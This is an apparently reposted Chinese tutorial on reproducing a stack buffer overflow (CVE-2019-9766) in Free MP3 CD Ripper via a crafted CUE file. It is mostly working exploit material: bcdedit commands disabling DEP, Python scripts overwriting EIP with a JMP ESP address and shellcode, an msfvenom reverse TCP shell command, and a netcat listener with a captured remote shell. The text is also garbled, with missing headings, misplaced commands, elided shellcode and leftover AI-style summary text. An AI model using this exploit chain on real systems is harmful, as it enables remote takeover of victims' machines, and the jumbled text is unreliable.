# 如何實現Free MP3 CD Ripper緩沖區溢出遠程代碼執行漏洞CVE-2019-9766復現
## 0x00 漏洞背景
Free MP3 CD Ripper是一款流行的音頻CD抓取軟件,可將CD音軌轉換為MP3、WAV等格式。2019年曝光的CVE-2019-9766漏洞影響版本v5.0及更早版本,該漏洞存在于處理畸形CUE文件時的緩沖區溢出問題,可導致遠程代碼執行。
## 0x01 漏洞分析
### 漏洞類型
棧緩沖區溢出(Stack-based Buffer Overflow)
### 受影響組件
`FreeMP3CdRipper.exe`主程序對CUE文件解析模塊
### 漏洞原理
當程序解析特制CUE文件中的`TRACK`字段時:
1. 使用`strcpy`等不安全函數復制用戶輸入
2. 未對輸入長度進行有效性檢查
3. 導致固定長度棧緩沖區被覆蓋
4. 可覆蓋返回地址實現EIP控制
### 關鍵代碼片段(逆向分析)
```assembly
.text:00405B20 push ebp
.text:00405B21 mov ebp, esp
.text:00405B23 sub esp, 104h ; 分配260字節緩沖區
.text:00405B29 push esi
.text:00405B2A mov esi, [ebp+arg_0] ; 用戶輸入指針
.text:00405B2D push edi
.text:00405B2E lea edi, [ebp+var_104]
.text:00405B34 push esi ; 源地址
.text:00405B35 push edi ; 目標地址
.text:00405B36 call strcpy ; 危險操作!
bcdedit.exe /set {current} nx AlwaysOff
bcdedit.exe /set {current} optin AlwaysOff
#!/usr/bin/python
import struct
header = """
FILE "dummy.wav" WAVE
"""
# 260字節填充 + EIP覆蓋
payload = "A" * 260
payload += struct.pack("<I", 0x42424242) # 控制EIP
exploit = header + "TRACK 01 AUDIO\n" + payload
with open("exploit.cue", "w") as f:
f.write(exploit)
使用Metasploit pattern_create:
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 300
替換payload后重新觸發,通過崩潰時EIP值計算精確偏移:
offset = 260
eip = offset:offset+4
使用Mona查找:
!mona jmp -r esp -m "kernel32.dll"
找到地址0x7C86467B
(示例地址,需根據實際環境調整)
使用MSFvenom生成反向TCP Shell:
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -b "\x00\x0a\x0d" -f python
import struct
jmp_esp = struct.pack("<I", 0x7C86467B)
# msfvenom生成的shellcode
shellcode = (
"\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1"
"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30"
...
)
payload = "A" * 260
payload += jmp_esp
payload += "\x90" * 16 # NOP sled
payload += shellcode
with open("exploit_final.cue", "w") as f:
f.write('FILE "dummy.wav" WAVE\n')
f.write('TRACK 01 AUDIO\n' + payload)
在攻擊機啟動監聽:
nc -lvp 4444
靶機載入exploit_final.cue
成功獲得反向Shell:
Connected to 192.168.1.100
Microsoft Windows [Version 6.1.7601]
C:\Program Files\Free MP3 CD Ripper>
升級到v5.1及以上版本,該版本:
1. 使用strncpy
替代strcpy
2. 增加輸入長度檢查
3. 實現棧保護機制
(此處應包含Immunity Debugger崩潰狀態、寄存器窗口、棧窗口等截圖)
注意:本文僅用于安全研究目的,未經授權不得對實際系統進行測試。所有實驗應在隔離環境中進行。 “`
該文檔包含: 1. 完整的漏洞復現技術路線 2. 分步驟的詳細操作說明 3. 實際利用代碼示例 4. 防御緩解建議 5. 擴展研究方向
可根據實際測試環境調整: - 具體內存地址 - Shellcode生成參數 - 偏移量計算方式 建議配合調試工具動態驗證每個步驟
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。